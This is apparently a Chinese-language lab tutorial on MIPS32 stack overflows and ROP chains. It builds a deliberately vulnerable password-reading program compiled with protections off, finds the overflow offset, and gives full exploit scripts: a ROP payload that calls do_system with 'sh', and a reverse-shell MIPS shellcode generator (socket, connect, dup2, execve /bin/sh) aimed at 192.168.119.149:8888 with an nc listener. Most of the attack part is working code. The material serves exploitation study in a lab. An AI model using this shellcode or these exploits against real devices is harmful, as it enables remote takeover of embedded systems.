前段时间写了DVRF系列的题目,对rop的构造感觉还是有点力不从心,所以深入学习一下怎么构造rop链
注意,全程复现应该用ubuntu16.04,不要用18.04或者20.04,不然很有可能会导致后面的gadget找不到
程序至少也要在ubuntu16.04交叉编译,不然直接在ubuntu18.04或者更高版本下,都有可能有gadget找不到的后果....
跟一般的x86架构不同,mips32架构的函数调用方式与x86系统有很大差别,比如说
mips没有栈底指针,也就是ebp,所以当函数进栈的时候,都是需要将当前指针向下移动n个比特,也就是该函数在堆栈空间所存储的大小n,后面就不再移动指针了,只能在函数返回时将栈指针加上偏移量去恢复栈现场,所以寄存器压栈和出栈的时候都需要指明偏移量
参数传递的方式也跟x86不一样,x86是直接压入栈中,而mips是前4个传入的参数通过$a0-$a3寄存器传递,如果参数超过了4个,那么多余的参数会放入调用参数空间
返回地址也不一样,x86调用函数,就是把函数的返回地址压入堆栈中,而mips是把返回地址放入到$ra寄存器中
这里引入一个概念叶子函数和非叶子函数
如果一个函数A中不在调用其他任何函数,那么当前函数A就是一个叶子函数,否则就是非叶子函数
当函数A调用函数B的时候:
首先,call指令会复制当前$PC寄存器的值到$RA寄存器中,然后再跳转到B函数并执行
然后这里要判断B函数是否是叶子函数:
如果是非叶子函数,那么是会把放在$RA寄存器中的函数A的返回地址放到堆栈中
如果是叶子函数,那就不用动,函数A的返回地址还是在$RA寄存器中
函数B执行完之后要返回到函数A时
如果是非叶子函数,就要先从堆栈中把函数A的返回地址取出来,然后存到寄存器$RA中,再使用jr $ra
跳转到函数A
如何函数B是叶子函数,就直接jr $ra
返回函数A
int test(int a,int b,int c,int d,int e,int f,int g);
int main()
{
int v1=0;
int v2=1;
int v3=2;
int v4=3;
int v5=4;
int v6=5;
int v7=6;
test(v1,v2,v3,v4,v5,v6,v7);
return 0;
}
int test(int a, int b, int c, int d, int e, int f, int g)
{
char s[50]={0};
sprintf(s,"%d%d%d%d%d%d%d",a,b,c,d,e,f,g);
}
根据刚刚所说的,test函数中有7个参数,前4个参数存放在$a0-$a3寄存器中,后3个参数放入main函数栈顶预留调用参数空间中
在ida静态分析可以看出,main函数分配了7个临时变量
其中var_10-var_1C都是要放在$a0-$a3寄存器中,而剩下的var_30,var_34,var_38要从临时变量取出,存储到main函数预留的调用参数空间
动态调试看看,在sprintf函数处下个断点,那边ubuntu开启qemu模拟,这边ida远程动态链接
sudo chroot . ./qemu-mips-static -g 1234 ./mips-test
当main
调用test(v1-v7)
时,调用者main会先将前4个参数正序存入$a0-$a3
寄存器,再将第5-7个参数按正序压入自己的栈空间,低地址对应v5
,高地址递增存放v6
、v7
当test
内部调用sprintf
需要传递9个参数时,test会自行将前4个参数正序存入$a0-$a3
,剩余5个参数按正序压入自己的新栈空间,整个过程参数始终按源码中的从左到右顺序传递,且每个函数仅操作自己的寄存器或栈空间,不会涉及其他函数的栈帧,而main
传递的 $a0-$a3
,也就是v1-v4
在 test
调用 sprintf
时被覆盖,但这些值已通过寄存器或 test
的局部变量(a, b, c, d
)保存,因此不会丢失
在 MIPS 调用约定中,main 函数通常不会主动取出或恢复存放到寄存器 $a0-$a3
中的参数值
以下这张图堆栈图是上述程序代码中,main函数调用了test函数之后,还需要原来的寄存器$a0-$a3的值,才会把4个寄存器压入到栈中
x86架构下,返回地址一般是放入到堆栈中,所以栈溢出可以劫持程序的执行流
mips架构函数的返回地址一般都是在$ra
寄存器中,同样也有栈溢出的风险
非叶子函数
void stack(char *src){
char a[20]={0};
strcpy(a,src);
}
int main(int argc,char *argv[]){
stack(argv[1]);
return 0;
}
由前文所知,stack函数是个非叶子函数,所以进入stack函数之后会把main函数的返回地址放入到自己的堆栈底部中,在返回main函数的时候,就会取出堆栈中的返回地址并写入$ra
寄存器,然后跳转到main函数
所以如果stack函数的局部变量发生缓冲区溢出,就有可能覆盖掉main函数的返回地址,从而被劫持程序执行流,这一点跟x86是一样的
叶子函数
void stack(char *src, int count){
char s[20]={0};
int i=0;
for(i=0;i<count;i++){
s[i]=src[i];
}
}
int main(int argc,char *argv[])
{
int count=strlen(argv[1]);
stack(argv[1],count);
return 0;
}
由前文所述,stack函数此时是个叶子函数,main函数的返回地址并不会存放到stack函数自己的堆栈空间中,而是放到了$ra
寄存器中,所以在ida显示的汇编语言中,可以看到stack函数在执行最末尾的jr $ra
指令之前,都没有对$ra
寄存器有任何的操作
所以如果按照x86或者非叶子函数那样的溢出方法,是无法覆盖掉main函数的返回地址的,因为无法操作寄存器$ra
但是呢,如果缓冲区溢出覆盖区域足够大,大到能覆盖掉main函数栈帧中存放的上层函数的返回地址,因为main函数也是个非叶子函数,上层函数的返回地址被main函数放在它自己的堆栈中,所以叶子函数也是可以存在缓冲区溢出的风险的,只要覆盖的数据足够大
举一个完整的例子
void do_system(int code,char *cmd)
{
char buf[255];
system(cmd);
}
void main()
{
char buf[256]={0};
char ch;
int count=0;
unsigned int fileLen=0;
struct stat fileData;
FILE *fp;
if(0==stat("passwd",&fileData))
fileLen=fileData.st_size;
else
return 1;
if((fp=fopen("passwd","rb"))==NULL)
{
printf("Cannot open file passwd!\n");
exit(1);
}
ch=fgetc(fp);
while(count<=fileLen)
{
buf[count++]=ch;
ch=fgetc(fp);
}
buf[--count]='\x00';
if(!strcmp(buf,"adminpwd"))
{
do_system(count,"ls -L");
}
else
{
printf("you have an invalid passord!\n");
}
fclose(fp);
}
危险函数do_system是一个非叶子函数,main函数也是一个非叶子函数
具体功能是从passwd文件中读取密码,如果密码是"adminpwd",就列出当前目录,否则就显示密码错误并退出程序
创建一个passwd文件然后向其写入500个垃圾数据,然后运行qemu编译过的程序,可以发现程序报错了
python -c "print 'A'*500" > passwd
所以开启一个端口进行远程动态调试,因为ubuntu18.04的原因,导致pwndbg一直报错,无奈只能ida进行远程动态调试了
所以这里配置主要就是ubuntu16.04和ida pro 7.5
不用下断点,直接动态运行,让其崩溃,看看那500个垃圾数据是否能覆盖到内存空间里面
注意这里要关闭掉各种保护,特别是canary保护,不然垃圾数据覆盖不了
mips-linux-gnu-gcc -g -fno-stack-protector -no-pie -fno-pie -z execstack vuln_system.c -static -o vuln_system
sudo chroot . ./qemu-mips-static -g 1234 ./vuln_system
可以看到不仅是内存空间,就连PC寄存器,$ra
寄存器,堆栈空间都被覆盖成了垃圾数据,所以这里肯定有栈溢出漏洞,毕竟PC都已经被劫持了
确定可以劫持PC之后,就要精准确定多少字节可以使PC指向期望的地址,也就是要确定偏移量
一般来说用大型字符脚本去确定,通过建立大型字符,然后任取4连续4位,这4位的值在大型字符里面是唯一的,找出覆盖到PC的4个字符在字符集合里面的偏移就可以找到偏移量,通常都是用patternLocOffset.py这个脚本去进行确定
生成1000个垃圾字符到passwd
python patternLocOffset.py -c -l 1000 -f passwd
然后ida动态远程调试,直接让其崩溃,确定PC的地址
可以看到$ra
寄存器崩溃的位置在0x34416e35的位置,然后再用patternLocOffset.py去通过劫持的PC地址确定精准偏移量
python patternLocOffset.py -s 0x34416e35 -l 1000
也就是填充404(0x194h)个字节后就可以精准劫持PC了
验证一下
python2 -c "print 'A'*0x194+'BBBBCCCC'" > passwd
可以看到PC和$ra寄存器已经被覆盖成我们想要的BBBBCCCC地址了,这说明404个字节是没错的
确定偏移还有一种方法是栈帧分析,通俗来讲就是静态分析,通过ida显示的数据进行计算得到偏移量
但是我不推荐这种方法,虽然网上还有书上都说可以,但其实我自己去复现了之后发现是行不通的,偏差差太多了,有可能是ida的缘故,也有可能是程序本身在编译的过程中受不同环境影响而偏差,比如说上述例子代码在ida静态分析中计算出来的偏移量就和动态分析出来的不一致,这种情况下还是要以动态的为主,那干脆就一步到位直接动态去确定偏移量就没错了
确定好偏移量之后,就可以确定攻击途径了
根据源代码,该漏洞可以用命令执行,毕竟有一个do_system()函数,或者写shellcode进行攻击
这里先介绍命令执行攻击
所以就得跟x86一样构造ROP链,do_system(count,"ls -L")
函数有两个参数,由IDA可知其地址为0x00400880
根据前文所说,我们需要找到可以把参数放入$a0
和$a1
寄存器的gadget
而count是固定字符串,所以只需要找到$a1
寄存器的gadget即可
直接在ubuntu用ROPgadget找$a1
寄存器的gadget找出来一大堆,而且感觉ROPgadget用来找mips架构的不太好找,不像x86_x64那么方便
所以直接在ida用mipsrop找了
下面这张图是用ubuntu16.04进行mips的交叉编译之后得到的程序所找的gadget,一共是19个gadget
而在此之前,我用了ubuntu18.04进行mips交叉编译得到程序去寻找gadget,只能找到13个
虽然两者都只能找到3个有关$a1寄存器的gadget,但是呢ubuntu18.04那边的gadget最后都只跟$t9寄存器相关
虽说$t9
寄存器的值是MIPS程序的函数的起始地址,也就是说MIPS的函数执行机制要求$t9
寄存器必须指向当前函数的入口地址,也就是说理论上$t9
寄存器可替代$ra
控制程序流,但是那得先确保程序中通过 jalr $t9
或者类似指令跳转的代码,比如说动态连接函数调用,并且我们还能控制$t9
寄存器的值
又或者$t9
寄存器的值被保存到堆栈中,且该值可被覆盖,那么这些都是可以控制$t9
达到$ra
的目的的条件,但很明显,这个例子不具备上述条件,所以自然攻击失败
mipsrop.stackfinders()
是一个针对 MIPS二进制文件 的辅助分析命令,帮助漏洞利用开发者快速定位与栈操作相关的ROP gadget
由上到下,我们就选取最后一共0x004474BC地址的gadget,因为其他的gadget要么没有$ra
寄存器跳转,要么中间隔得十分远,所以最后一个是最合适的
从gadget看出,我们只要在$sp+0x54+var_3C中构造好字符串,$a1
寄存器便可输入我们想要的命令字符串,然后在jr $ra
语句时把$ra
寄存器覆盖成跳转到do_system函数的地址也就是0x00400A80即可完成整个payload
payload:
exp.py:
import struct
print("[*] prepare shellcode")
cmd = "sh"
cmd += "\00"*(4-(len(cmd) %4)) # 栈对齐
shellcode = "A"*0x194
shellcode += struct.pack(">L",0x004474BC)
shellcode += "A"*0x18 #0x18=24
shellcode += cmd
shellcode += "B"*(0x3C - len(cmd))
shellcode += struct.pack(">L", 0x00400A80)
print("OK!")
print("[+] create password file")
fw = open('passwd','w')
fw.write(shellcode)
fw.close()
print("ok")
所谓的shellcode就是在缓冲区溢出攻击中植入进程的代码,可以获取shell,执行命令,开启端口等等
一般来说,我们要获取shellcode要么网上搜,要么自己写一个C程序编译后反编译提取汇编指令
而由上述的分析可知,vuln_system存在缓冲区溢出且可以造成命令注入,所以如果要用shellcode攻击的话,可以用execve shellcode让嵌入shellcode的程序运行一个应用程序
但是shellcode可能会遇到NULL的限制导致复制到缓冲区的shellcode是不完整的,所以得进行优化一波,避免出现NULL这样的坏字符
我们还可以建立一个反向连接的shellcode,用来在一个被攻击系统和另一个系统之间建立连接,然后把execve shellcode注入进去,达到命令注入攻击的目的
那就需要socket connect dup2和execve 的shellcode,然后使用NetCat工具,也就是我们常说的NC进行端口监听,看看shellcode有没有成功注入进去
但是这里如果用windows版的nc,都会被Windows defender给杀掉.......最后换了kali,同时要保证kali和ubuntu之间能ping通
通过最开始垃圾数据命令可知,再把0x194个A覆盖后,B覆盖了$ra
寄存器和pc寄存器,而C覆盖了后面的地址
所以可以利用C覆盖的这部分地址把B覆盖的放返回地址的寄存器给覆盖了,挟持程序执行流到C覆盖处,而C覆盖处就写入编写好的shellcode
当前栈顶的值是0x7FFFEF90,但是这个堆栈是变化的,所以每一次测试都得重新定位
完整exp_shellcode.py:
import struct
import socket
def makeshellcode(hostip,port):
host=socket.ntohl(struct.unpack('I',socket.inet_aton(hostip))[0])
hosts=struct.unpack('cccc',struct.pack('>L',host))
ports=struct.unpack('cccc',struct.pack('>L',port))
mipshell="\x24\x0f\xff\xfa" #li t7,-6
mipshell+="\x01\xe0\x78\x27" #nor t7,t7,zero
mipshell+="\x21\xe4\xff\xfd" #addi a0,t7,-3
mipshell+="\x21\xe5\xff\xfd" #addi a1,t7,-3
mipshell+="\x28\x06\xff\xff" #slti a2,zero,-1
mipshell+="\x24\x02\x10\x57" #li v0,4183 #sys_socket
mipshell+="\x01\x01\x01\x0c" #syscall 0x40404
mipshell+="\xaf\xa2\xff\xff" #sw v0,-1(sp)
mipshell+="\x8f\xa4\xff\xff" #lw a1,-1(sp)
mipshell+="\x34\x0f\xff\xfd" #li t7,0xfffd
mipshell+="\x01\xe0\x78\x27" #nor t7,t7 zero
mipshell+="\xaf\xaf\xff\xe0" #sw t7,-32(sp)
mipshell+="\x3c\x0e"+struct.pack('2c',ports[2],ports[3]) #lui t6,0x1f90
mipshell+="\x35\xce"+struct.pack('2c',ports[2],ports[3]) #ori t6,t6,0x1f90
mipshell+="\xaf\xae\xff\xe4" #sw t6,-28(sp)
mipshell+="\x3c\x0e"+struct.pack('2c',hosts[0],hosts[1]) #lui t6,0x7f01
mipshell+="\x35\xce"+struct.pack('2c',hosts[2],hosts[3]) #ori t6,t6,0x101
mipshell+="\xaf\xae\xff\xe6" #sw t6,-26(sp)
mipshell+="\x27\xa5\xff\xe2" #addiu a1,sp,-30
mipshell+="\x24\x0c\xff\xef" #li t4,-17
mipshell+="\x01\x80\x30\x27" #nor a2,t4,zero
mipshell+="\x24\x02\x10\x4a" #li v0,4170 #sys_connect
mipshell+="\x01\x01\x01\x0c" #syscall 0x40404
mipshell+="\x24\x11\xff\xfd" #li s1,-3
mipshell+="\x02\x20\x88\x27" #nor s1,s1,zero
mipshell+="\x8f\xa4\xff\xff" #lw a0,-1(sp)
mipshell+="\x02\x20\x28\x21" #move a1,s1 #dup2_loop
mipshell+="\x24\x02\x0f\xdf" #li v0,4063 #sys_dup2
mipshell+="\x01\x01\x01\x0c" #syscall 0x40404
mipshell+="\x24\x10\xff\xff" #li s0,-1
mipshell+="\x22\x31\xff\xff" #addi s1,s1,-1
mipshell+="\x16\x30\xff\xfa" #bne s1,s0,68 <dup2_loop>
mipshell+="\x28\x06\xff\xff" #slti a2,zero,-1
mipshell+="\x3c\x0f\x2f\x2f" #lui t7,0x2f2f "//"
mipshell+="\x35\xef\x62\x69" #ori t7,t7,0x6269 "bi"
mipshell+="\xaf\xaf\xff\xec" #sw t7,-20(sp)
mipshell+="\x3c\x0e\x6e\x2f" #lui t6,0x6e2f "n/"
mipshell+="\x35\xce\x73\x68" #ori t6,t6,0x7368 "sh"
mipshell+="\xaf\xae\xff\xf0" #sw t6,-16(sp)
mipshell+="\xaf\xa0\xff\xf4" #sw zero,-12(sp)
mipshell+="\x27\xa4\xff\xec" #addiu a0,sp,-20
mipshell+="\xaf\xa4\xff\xf8" #sw a0,-8(sp)
mipshell+="\xaf\xa0\xff\xfc" #sw zero,-4(sp)
mipshell+="\x27\xa5\xff\xf8" #addiu a1,sp,-8
mipshell+="\x24\x02\x0f\xab" #li v0,4011 #sys_execve
mipshell+="\x01\x01\x01\x0c" #syscall 0x40404
return mipshell
if __name__ == '__main__':
print '[*] prapare shellcode',
cmd="sh"
cmd+="\x00"*(4-(len(cmd)%4))
payload="a"*0x194
payload+=struct.pack(">L",0x7ffff5d0)
payload+=makeshellcode('192.168.119.149',8888)
print ' ok'
print '[+]create password file',
fw=open('passwd','w')
fw.write(payload)
fw.close()
print ' ok'
ubuntu现在停止不动了,但是shellcode已经执行完成了,可以在nc那边输入命令看到
这里端口号4444我试了很多次,均监听不到,后来改为8888就可以了,猜测有可能是端口占用了